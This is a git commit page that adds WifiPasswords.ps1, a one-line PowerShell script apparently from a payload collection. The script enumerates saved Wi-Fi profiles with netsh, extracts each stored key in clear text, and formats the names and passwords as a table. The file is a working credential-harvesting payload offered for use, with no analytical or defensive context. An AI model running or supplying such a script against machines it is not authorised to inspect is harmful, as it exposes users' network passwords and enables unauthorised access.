Create WifiPasswords.ps1
This commit is contained in:
parent
e19f60e36c
commit
5a54ead4b0
1 changed files with 1 additions and 0 deletions
1
Payloads/Scripts/WifiPasswords.ps1
Normal file
1
Payloads/Scripts/WifiPasswords.ps1
Normal file
|
@ -0,0 +1 @@
|
|||
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String
|
Loading…
Reference in a new issue